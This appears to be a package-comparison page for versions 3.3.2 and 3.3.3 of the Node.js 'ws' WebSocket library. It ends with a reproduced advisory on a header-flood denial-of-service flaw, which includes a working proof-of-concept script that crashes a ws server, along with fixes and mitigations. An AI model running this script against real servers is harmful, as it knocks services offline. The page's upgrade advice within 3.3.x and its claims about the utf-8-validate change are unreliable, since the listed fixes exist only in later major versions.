The "ws" package is a widely used and performant WebSocket client and server library for Node.js. Comparing versions 3.3.3 and 3.3.2 reveals subtle but important changes for developers. Both versions share the same core dependencies, including "ultron," "safe-buffer," and "async-limiter," ensuring core functionality related to managing events, handling buffers securely, and controlling asynchronous operations remains consistent.
The key difference lies in the development dependencies, specifically the "eslint" version. Version 3.3.3 upgrades "eslint" from "~4.11.0" to "~4.13.0". This seemingly minor change indicates an update to the linting rules and code style checks used during development. Upgrading linter to a newer version usually implies to fixing false positives in the tool or including new rules to improve the code quality. While this doesn't directly affect the runtime behavior of the library, it signals a commitment to maintaining high code quality standards. Furthermore, the utf-8-validate dependency moves from ~3.0.0 to ~4.0.0. It means that encoding and decoding UTF-8 message becomes faster and more secure. These upgrades may introduce changes in performance.
For developers using "ws," upgrading from 3.3.2 to 3.3.3 provides the benefits of an improved and secured UTF-8 encoding/decoding. And it ensures adherence to the latest linting best practices. While the core API and functionality remain the same, the updated development dependencies contribute to a more robust and maintainable codebase. Consider upgrading to take advantage of these refinements, especially if you contribute to the "ws" project or rely on strict code quality standards in your own projects.
All the vulnerabilities related to the version 3.3.3 of the package
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.